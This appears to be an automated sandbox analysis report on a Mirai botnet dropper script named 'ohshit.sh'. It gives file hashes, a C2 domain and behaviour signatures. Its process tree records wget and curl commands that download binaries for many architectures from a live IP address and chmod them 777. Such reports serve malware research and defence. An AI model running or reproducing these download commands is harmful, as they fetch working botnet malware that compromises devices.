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Analysis

  • max time kernel
    137s
  • max time network
    140s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/03/2025, 14:02

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    d2fc82c2b868db8956bd1a152673f5a7

  • SHA1

    01899c680da79b2e7302f5898e150254bd7ef207

  • SHA256

    29eae7a3fc0f8f73775f7202b9b7972c62a40320b7331588db4e8cf560749719

  • SHA512

    5b9cf48ea5473fab850d23cf04d1d56ebcf7046c6cdfa72524d4c9af7f40721a059e622082250df23c2f6d1766bfce740b906d477fc28f2594e13d1879e121d2

Malware Config

Extracted

Family

mirai

C2

huyhoangluvnhi.duckdns.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 15 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Enumerates active TCP sockets
    • Changes its process name
    • Reads system network configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1501
    • /usr/bin/wget
      wget http://160.191.245.152/dlr/blah.x86
      2⤵
      • Writes file to tmp directory
      PID:1502
    • /usr/bin/curl
      curl -O http://160.191.245.152/dlr/blah.x86
      2⤵
      • Writes file to tmp directory
      PID:1512
    • /bin/cat
      cat blah.x86
      2⤵
        PID:1516
      • /bin/chmod
        chmod 777 blah.x86 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-GM2NhR
        2⤵
        • File and Directory Permissions Modification
        PID:1517
      • /usr/bin/wget
        wget http://160.191.245.152/dlr/blah.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1520
      • /usr/bin/curl
        curl -O http://160.191.245.152/dlr/blah.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1522
      • /bin/chmod
        chmod 777 blah.mips blah.x86 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-GM2NhR
        2⤵
        • File and Directory Permissions Modification
        PID:1524
      • /usr/bin/wget
        wget http://160.191.245.152/dlr/blah.arc
        2⤵
          PID:1527
        • /usr/bin/curl
          curl -O http://160.191.245.152/dlr/blah.arc
          2⤵
          • Writes file to tmp directory
          PID:1529
        • /bin/chmod
          chmod 777 blah.arc blah.mips blah.x86 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-GM2NhR
          2⤵
          • File and Directory Permissions Modification
          PID:1531
        • /usr/bin/wget
          wget http://160.191.245.152/dlr/blah.i468
          2⤵
            PID:1534
          • /usr/bin/curl
            curl -O http://160.191.245.152/dlr/blah.i468
            2⤵
            • Writes file to tmp directory
            PID:1536
          • /bin/chmod
            chmod 777 blah.arc blah.i468 blah.mips blah.x86 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-GM2NhR
            2⤵
            • File and Directory Permissions Modification
            PID:1538
          • /usr/bin/wget
            wget http://160.191.245.152/dlr/blah.i686
            2⤵
              PID:1541
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.i686
              2⤵
              • Writes file to tmp directory
              PID:1543
            • /bin/chmod
              chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.x86 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP systemd-private-adbdba10631143cea7e361f4ab093567-systemd-timedated.service-GM2NhR
              2⤵
              • File and Directory Permissions Modification
              PID:1545
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1550
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1552
            • /bin/chmod
              chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP
              2⤵
              • File and Directory Permissions Modification
              PID:1554
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1557
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1559
            • /bin/chmod
              chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP
              2⤵
              • File and Directory Permissions Modification
              PID:1561
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.arm
              2⤵
              • Writes file to tmp directory
              PID:1564
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.arm
              2⤵
              • Writes file to tmp directory
              PID:1566
            • /bin/chmod
              chmod 777 blah.arc blah.arm blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP
              2⤵
              • File and Directory Permissions Modification
              PID:1568
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.arm5
              2⤵
              • Writes file to tmp directory
              PID:1571
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.arm5
              2⤵
              • Writes file to tmp directory
              PID:1573
            • /bin/chmod
              chmod 777 blah.arc blah.arm blah.arm5 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP
              2⤵
              • File and Directory Permissions Modification
              PID:1575
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.arm6
              2⤵
              • Writes file to tmp directory
              PID:1578
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.arm6
              2⤵
              • Writes file to tmp directory
              PID:1580
            • /bin/chmod
              chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP
              2⤵
              • File and Directory Permissions Modification
              PID:1582
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.arm7
              2⤵
              • Writes file to tmp directory
              PID:1585
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.arm7
              2⤵
              • Writes file to tmp directory
              PID:1587
            • /bin/chmod
              chmod 777 HOLYLOVE blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP
              2⤵
              • File and Directory Permissions Modification
              PID:1589
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.ppc
              2⤵
              • Writes file to tmp directory
              PID:1592
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.ppc
              2⤵
              • Writes file to tmp directory
              PID:1594
            • /bin/chmod
              chmod 777 HOLYLOVE blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.ppc blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP
              2⤵
              • File and Directory Permissions Modification
              PID:1596
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.spc
              2⤵
              • Writes file to tmp directory
              PID:1599
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.spc
              2⤵
              • Writes file to tmp directory
              PID:1601
            • /bin/chmod
              chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.ppc blah.spc blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP HOLYLOVE
              2⤵
              • File and Directory Permissions Modification
              PID:1603
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.m68k
              2⤵
              • Writes file to tmp directory
              PID:1606
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.m68k
              2⤵
              • Writes file to tmp directory
              PID:1608
            • /bin/chmod
              chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.m68k blah.mips blah.mpsl blah.ppc blah.spc blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP HOLYLOVE
              2⤵
              • File and Directory Permissions Modification
              PID:1610
            • /usr/bin/wget
              wget http://160.191.245.152/dlr/blah.sh4
              2⤵
              • Writes file to tmp directory
              PID:1613
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.sh4
              2⤵
              • Writes file to tmp directory
              PID:1615
            • /bin/chmod
              chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.m68k blah.mips blah.mpsl blah.ppc blah.sh4 blah.spc blah.x86 blah.x86_64 config-err-mZMP9n HOLYLOVE netplan_znlaot3u ohshit.sh snap-private-tmp ssh-143HBEtUYXaU systemd-private-adbdba10631143cea7e361f4ab093567-bolt.service-szBJJo systemd-private-adbdba10631143cea7e361f4ab093567-colord.service-IwNC4m systemd-private-adbdba10631143cea7e361f4ab093567-ModemManager.service-M5SDno systemd-private-adbdba10631143cea7e361f4ab093567-systemd-resolved.service-gJvLJP HOLYLOVE
              2⤵
              • File and Directory Permissions Modification
              PID:1617

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • /tmp/blah.x86

            Filesize

            40KB

            MD5

            2e689db77eaea41c04a31165f6ee7184

            SHA1

            170440f67d1eba5b252aa5bc6e2f0a026b6c8cef

            SHA256

            2ce9fb3fae4dd2c0540e15c416d79a33933b714551d6016b28ddaa0f52a06913

            SHA512

            5bc67648bb6650b1c6b4e1a9ca39cfb9dc719b7d670f83647445411df348e05ad1a06b0ae85e91625ec38bc18b4e5b75ba40f06c8652c025c7abfaa8513c00b4